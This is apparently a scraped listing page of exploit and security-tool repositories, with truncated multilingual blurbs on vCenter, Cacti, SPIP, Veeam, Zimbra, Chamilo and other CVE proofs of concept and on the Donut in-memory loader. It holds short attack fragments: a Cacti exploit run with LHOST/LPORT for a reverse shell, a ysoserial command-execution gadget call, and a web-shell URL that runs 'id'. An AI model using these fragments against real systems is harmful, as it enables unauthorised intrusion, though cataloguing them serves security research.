wpbullet

wpBullet WordPressプラグイン/テーマ（およびPHP）の静的コード解析 インストール リポジトリをクローンし、依存関係をインストールしてスクリプトを実行します $ git clone https://github.com/webarx-security/wpbullet wpbullet $ cd wpbullet $ pip install -r requirements.txt $ python wpbullet.py 使い方 利用可能なオプション: root@kitploit: --path 必須 システムパスまたはダウンロードURL 例:...

CVE-2021-21972

CVE-2021-21972 vCenter CVE-2021-21972 の概念実証 PoC エクスプロイト 研究クレジット: https://swarm.ptsecurity.com/unauth-rce-vmware/, http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/ Windows と Unix の両方の vCenter VCSA ターゲットでテスト済み。 使い方 ターゲットが脆弱かどうかを無害に確認するには、--target 引数を指定するだけです。...

CVE-2023-46818-python-exploit

CVE-2023-46818 エクスプロイト これは、ispconfig 3.2.11 およびそれ以前のバージョンに影響する脆弱性に対する、元の PHP スクリプトの Python 版です。 オリジナルの PHP ソース: https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html この概念実証 PoC は教育目的のみを対象としています。 使用方法 root@kitploit: python exploit.py http://10.10.10.10/ adminuser...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - كتابة ملفات عشوائية دون مصادقة عبر ترتيب Init/Finalize في الرفع المجزأ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — كتابة ملفات عشوائية دون مصادقة عبر الرفع المجزأ استغلال إثبات المفهوم Proof-of-Concept ترتيب Init/Finalize في الرفع المجزأ → كشف مسار قابل للتوقع ...

CVE-2024-28741-northstar-agent-rce-poc

NorthStar C2 RCE en agente mediante XSS almacenado PoC de RCE en agente para CVE-2024-28741, una vulnerabilidad XSS almacenado en NorthStar C2. Este exploit funciona enviando múltiples solicitudes de registro de agente malicioso al teamserver para construir incrementalmente un payload funcional d...

CVE-2020-28018

CVE-2020-28018: Exim 释放后使用（UAF）导致远程代码执行（RCE） 引言 tls-openssl.c 中存在一个释放后使用（UAF）漏洞，允许远程未认证的攻击者破坏内部内存数据，最终实现远程代码执行。 原语： 内存泄漏 任意读取原语 写-任意位置原语 通过将这些原语串联使用，可以完全绕过所有可用的利用缓解措施，最终以 exim 用户身份实现远程代码执行。 该漏洞是在大量漏洞中一起发布的，官方 Qualys 报告将该释放后使用漏洞与 CVE-2020-28008 链接，用于在获得 RCE 后执行本地权限提升（LPE）。 前置条件 Exim 应按照以下方式配置/编译： ...

CVE-2021-27850_POC

CVE-2021-27850 エクスプロイト 概要 CVE-2021-27850 は、すべての最新バージョンの Apache Tapestry で発見された重要な未認証リモートコード実行脆弱性です。AppModule.class ファイルをダウンロードすることで、Apache Tapestry 内のすべてのシリアライズオブジェクトの署名に使用される HMAC 秘密鍵を漏洩できます。 この CVE は実際のセキュリティ評価で遭遇しましたが、私の知る限り、Tapestry がシリアライズオブジェクトに署名する方法に関する公開エクスプロイトは存在しなかったため、Apache Tapestry...

donut

現在のバージョン: v1.1 目次 1. はじめに 2. 動作の仕組み 3. ビルド 4. 使用方法 5. サブプロジェクト 6. Donutを使った開発 7. 質問と議論 8. 免責事項 1. はじめに Donut は、VBScript、JScript、EXE、DLL ファイル、および dotNET アセンブリのメモリ内実行を可能にする、位置独立コードです。Donut によって作成されたモジュールは、HTTP サーバーからステージングするか、ローダー自体に直接埋め込むことができます。モジュールはオプションで、Chaskey...

cloud-sniper

Cloud Sniper：检测即代码平台 Cloud Sniper 是一个全面设计的平台，旨在简化云安全运营。它通过分析和关联云工件，迅速响应安全事件，确保护航公司云安全态势的全局视图。 作为集中式事件响应枢纽，我们的平台利用云原生工件和开源技术执行自动化操作。这种方法赋能社区以多样化的安全用例丰富项目。 Cloud Sniper 高效处理安全信息流，自主保护云基础设施。其分析模块关联入侵指标（IOC），揭示攻击者的战术、技术与程序（TTP），为分析师提供增强的安全发现。 用户通过 Cloud Sniper...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 このエクスプロイトは、@FredBrave による元のスクリプトを修正したバージョンであり、@arthurcortesr と @alv-david によって改変されました。 使用法/例 root@kitploit: python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X 期待される結果 root@kitploit: Testing hostid=X, localdataid=XX... + Found...

CVE-2023-46018-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

CVE-2023-46018-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability エクスプロイト作成者: ersinerenler ベンダーホームページ https://code-projects.org/blood-bank-in-php-with-source-code ソフトウェアリンク https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip 概要 Code-Projects Blood Bank V1.0...

CVE-2024-7954-RCE

説明 SPIP 4.30-alpha2、4.2.13、4.1.16より前のバージョンで使用されるporteplumeプラグインには、任意のコード実行の脆弱性があります。リモートかつ認証されていない攻撃者は、細工されたHTTPリクエストを送信することにより、SPIPユーザーとして任意のPHPコードを実行できます。 エクスプロイト（概念実証） root@kitploit: POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type: application/x-www-form-urlencode...

URLextractor

URLextractor 情報収集＆ウェブサイト偵察 使用方法: ./extractor http://www.hackthissite.org/ ヒント: Colorex: 出力に色を付けます pip install colorex そして次のように使用します ./extractor http://www.hackthissite.org/ | colorex -g "INFO" -r "ALERT" Tldextract: dnsenumeration 関数で使用されます pip install tldextract 機能:...

cve-2021-44228

CVE-2021-44228 本仓库是对臭名昭著的 CVE-2021-44228 问题的一个简化模拟。 除了系统属性和其他字典结构的查找之外，Apache Log4j 还出于各种原因实现了 JNDI 查找功能。 JNDI 可以从多个服务提供者处获取服务，例如 LDAP、DNS、Java RMI 注册表等。 JNDI 本身是一个简单且不安全的 API，无法防范由第三方控制的服务提供者。 只要攻击者控制了一个可通过恶意 URL 公开访问的服务器，并知晓正在监听特定端口的应用程序记录了哪些内容，他们就可以滥用日志格式，通过 JNDI 注入让应用程序加载并执行任意 Java 代码。...

CVE-2024-40711-Exp

使用法 root@kitploit: .\ysoserial.exe -f BinaryFormatter -g Veeam -c localhostServer -vi targetIP -vp 6170 -vg DataSet -vc "cmd /c mspaint.exe" root@kitploit: Usage: ysoserial.exe options Options: --vi, --targetveeamip=VALUE The target Veeam Backup and reaplication IP address --vp,...

cve-2024-4367-PoC-fixed

cve-2024-4367-PoC-fixed PDF.jsはMozillaがメンテナンスするJavaScriptベースのPDFビューアです。この脆弱性により、攻撃者は悪意のあるPDFファイルを開くとすぐに任意のJavaScriptコードを実行できます。これは、FirefoxがPDFファイルを表示するためにPDF.jsを使用しているため、すべてのFirefoxユーザー（126）に影響しますが、プレビュー機能のために（間接的に）PDF.jsを使用している多くのWebベースおよびElectronアプリケーションにも深刻な影響を与えます。...

CVE-2022-37042

CVE-2022-37042 Zimbra CVE-2022-37042 Nuclei 武器化模板 shell 路径：/public/formatter.jsp Nuclei 本身：https://github.com/projectdiscovery/nuclei shell 包含一个透明度为 0 的隐藏输入框，因此只需将鼠标悬停在其上，输入命令，然后按 Enter 键： 示例 shell URL： root@kitploit: https://ms1.fission.com:8443/public/formatter.jsp?cmd=id CVE-2022-37042...

cve-2024-6387_AImade

CVE-2024-6387 のテストコードの紹介 はじめに この文書は、OpenSSH で確認された脆弱性 CVE-2024-6387 をテストするために設計された Python スクリプトを紹介します。この脆弱性は SIGALRM シグナルハンドラにおける競合状態であり、glibc ベースの Linux システム上でリモートコード実行 RCE を可能にする可能性があります。このスクリプトは、教育およびセキュリティ研究を目的として人工知能によって生成されました。 CVE-2024-6387 の説明 識別子 : CVE-2024-6387 説明 : 2020年10月のコード変更によって...

CVE20131491-JIT

========================= タイトル ========================================= CVE-2013-1491 JIT-Sprayを使用したPoC by Yuki Chen 古河 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Twitter: @guhe120 Weibo: http://weibo.com/u/1874932054 ========================= このPoCについて...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit これは、Chamilo-LMS の大容量ファイルアップロード機能における無制限ファイルアップロード（Unrestricted file upload）脆弱性のエクスプロイトです。対象箇所は /main/inc/lib/javascript/bigupload/inc/bigUpload.php で、影響を受けるバージョンは Chamilo LMS = v1.11.24 です。攻撃者はWebシェルをアップロードすることでリモートコード実行を取得でき、さらに...